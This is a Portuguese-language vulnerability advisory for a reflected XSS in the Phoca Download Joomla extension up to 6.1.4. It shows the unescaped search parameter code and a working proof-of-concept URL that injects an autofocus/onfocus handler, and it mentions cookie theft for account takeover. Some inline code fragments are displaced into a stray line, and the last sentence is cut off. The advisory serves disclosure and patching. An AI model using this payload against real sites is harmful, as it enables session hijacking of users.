
Reflexão de XSS via parâmetro GET de pesquisa no Phoca Download
Phoca Download ≤ 6.1.4 — Atacante Autenticado Executa JavaScript Arbitrário via URL de Busca Manipulada no Painel de Controle do Usuário
O Phoca Download (com_phocadownload) para Joomla contém uma vulnerabilidade de Cross-Site Scripting (XSS) refletido na funcionalidade de busca de arquivos do Painel de Controle do Usuário. O parâmetro GET search é processado com o filtro 'string' do Joomla — que chama apenas e preserva o caractere — e depois é exibido sem em um atributo HTML . Um atacante pode injetar atributos HTML arbitrários e manipuladores de eventos que são executados no navegador da vítima ao carregar a página, sem exigir qualquer interação do usuário além de clicar em um link manipulado.
strip_tags()"htmlspecialchars()<input value="">| COMPONENTE | VULNERÁVEL | TESTADO EM | CORRIGIDO |
|---|---|---|---|
| com_phocadownload | ≤ 6.1.4 | Joomla 5 + PhocaDownload 6.1.4 + MariaDB 10.6 | 6.1.5 |
Tipo: Cross-Site Scripting Refletido (CWE-79)
Autenticação necessária: Usuário Joomla registrado (logado) + Painel de Controle do Usuário habilitado (enable_user_cp = 1)
Token CSRF necessário: Não — requisição GET, nenhum token CSRF é verificado neste caminho
Arquivo de saída (sink): site/views/user/tmpl/default_files_bootstrap.php
O parâmetro search é lido usando o filtro 'string' do Joomla, que apenas chama strip_tags(). Isso preserva o caractere ", permitindo que um atacante escape do contexto do atributo value="" e injete atributos HTML arbitrários.
SITE/VIEWS/USER/VIEW.HTML.PHP:252 — FONTE (SOURCE)
$search_files = $app->getUserStateFromRequest(
$this->_context_files.'.search', 'search', '', 'string'
);
$search_files = StringHelper::strtolower($search_files);
$lists_files['search'] = $search_files; // armazenado sem codificação
SITE/VIEWS/USER/TMPL/DEFAULT_FILES_BOOTSTRAP.PHP:56 — SAÍDA (SINK) (VULNERÁVEL)
<input type="text" name="search" id="pdsearch"
value="<?php echo $this->t['listsfiles']['search'];?>"
class="form-control" />
A visão irmã phocadownloadlinkfile (mesma extensão) aplica corretamente PhocaDownloadUtils::filterValue($search, 'text') — equivalente a htmlspecialchars() — para o mesmo campo de busca. A visão user não aplica a mesma proteção, indicando codificação de saída inconsistente dentro da extensão.
Navegue até a página de login do Joomla e autentique-se como um usuário Registrado. Após o login bem-sucedido, o Joomla redireciona para a página de perfil do usuário, confirmando uma sessão ativa.

Navegue até o Painel de Controle do Usuário do PhocaDownload:
http://TARGET/index.php?option=com_phocadownload&view=user
A página é renderizada com um campo de busca vazio (value=""). Este é o estado normal antes da injeção.

Navegue até a seguinte URL manipulada (ou digite o payload bruto diretamente na caixa de busca):
http://TARGET/index.php?option=com_phocadownload&view=user&search=%22%20autofocus%20onfocus%3Dalert%28document.domain%29%20x%3D

Ao carregar a página, o atributo autofocus injetado foca o elemento de entrada, acionando imediatamente o manipulador de eventos onfocus. Nenhuma interação adicional do usuário é necessária.
HTML Renderizado (vulnerável):
<input type="text" name="search" id="pdsearch"
value="" autofocus onfocus=alert(document.domain) x="
class="form-control" />
document.cookie, permitindo a tomada total da conta sem credenciais.